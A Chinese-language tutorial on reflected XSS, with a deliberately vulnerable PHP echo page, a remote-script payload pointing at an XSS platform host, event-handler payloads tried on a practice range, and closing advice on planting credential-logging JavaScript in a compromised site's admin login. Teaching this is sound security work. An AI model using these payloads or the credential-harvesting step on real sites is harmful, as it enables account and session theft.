目錄
前言
跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意的特殊目的。反射性XSS需要誘惑用戶點擊,纔可以利用,所以很多人不去注意
xss漏洞可以用來進行釣魚攻擊,前端js挖礦,用戶cookie獲取。甚至可以結合瀏覽器自身的漏洞對用戶主機進行遠程控制
簡單理解就是,xss拼接的是網頁的HTML代碼
總結:構造出合適的HTML代碼,去拼接頁面原有的代碼從而去執行惡意的JS語句
正文
0x01:源碼分析
首先是 1.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<title>反射型xss</title>
</head>
<body>
<form action="2.php" method="get">
<input type="text" name="a">
<input type="submit">
</form>
</body>
</html>
然後是 2.php
<?php
$xss = $_GET['a'];
echo '你輸入的字符爲<br>'.$xss;
?>
然後注意觀察,首先是執行1.html,提交查詢,然後會自動跳轉到2.php
點擊提交查詢
這時候我們審查元素,檢查元素
其實我們查詢的流程是在前端a的位置輸入,然後這個表單會提交到後端2.php
後端變量xss首先是以GET方式接受a的傳參,然後再echo的輸出
畫個流程圖也就這樣,如果可以去搭建個xss平臺,然後構造payload,然後讓瀏覽器偷偷的訪問
<script src="https://www.baidu.com"></script>
這裏以百度爲例,讓他去偷偷的去訪問百度,狀態碼 200,意思就是訪問成功了
這裏其實就是偷偷的去調用這個網址,爲什麼頁面上沒有顯示,因爲他被當做代碼執行了。所以沒有顯示
這時候我們看下xss平臺的payload
<sCRiPt/SrC=//xssye.com/aaaaa>
這裏其實就是訪問到 xssye.com 這個地址
這個是菜鳥上面的介紹
(然而這裏是瀏覽器讀取,不是服務器讀取)
0x02 其他彈窗方式
其實<script></script> 這個是告訴我們中間的個js語句
比如我們單獨輸入alert(1),就彈不了窗
1)僞協議彈窗
上面是僞協議?
僞協議只要關聯應用才能使用(例如:php:// tencent://【關聯qq】)
javascript: 僞協議實際上聲明URL的主題是任意的javascript代碼
2)事件型彈窗
然而因爲現在的xss,大部分都是時間型彈窗,一般會過濾<,>,等等
事件型函數在這裏就可以看見了:事件型函數大全
常用的有:onerror,onload(成功加載執行),
oninput(有輸入框,輸入的時候觸發)
onfocus(獲取焦點觸發)
xss 作用於瀏覽器
js、html代碼 都是瀏覽器執行
0x03 靶場實戰
這裏借用掌控靶場
這裏審查元素,任何我們要先進行閉合,再彈窗
我們先看第一個輸出點,發現是在標籤內被轉碼了
這涼了,是不可以利用。這種情況的話是不可能打出xss了
這裏的話我們看到尖括號被轉義了
<input name=keyword value=''>
被轉義的話就只能使用事件型進行彈窗。
構造payload:
<input name=keyword value=''oninput=alert(1) //'>
閉合成功後,payload就是:' οninput=alert(1) //
這裏使用 oninput標籤,爲什麼用呢
因爲輸出點是form表單內,這樣我們就可以使用對應的事件型~~
意思是當元素獲取到用戶輸入的字符是,就會運行
所以我們隨便在框內輸入個a,就可以彈窗了
0x04 其他常用事件
1)onfoucs
' οnfοcus=alert(1) // 獲取焦點
什麼是獲取焦點,就是你鼠標點擊輸出點的那個地方,它獲取到了就會執行
' onfocus=alert(1) autofocus//
然而下面這個payload是自動獲取焦點,刷新一下就可以彈窗。
2)onmouseover
' onmouseover=alert(1) //
和上面一樣,是當鼠標移動到框的時候進行彈窗
0x04 彈窗函數
1:alert() 常用
2:confirm()
3:prompt()
0x05 拓展:
在有 shell 的情況下,如何使用 xss 實現對目標站的長久控制?
1)後臺登錄處加一段記錄登錄賬號密碼的 js,並且判斷是否登錄成功,如 果登錄成功,就把賬號密碼記錄到一個生僻的路徑的文件中或者直接發到自己的 網站文件中。
(2)在登錄後纔可以訪問的文件中插入 XSS 腳本
如果盲打xss返回的信息,顯示後臺在內網?
總結:
見框就插,這就是精髓
有時候文件上傳那邊可以插一下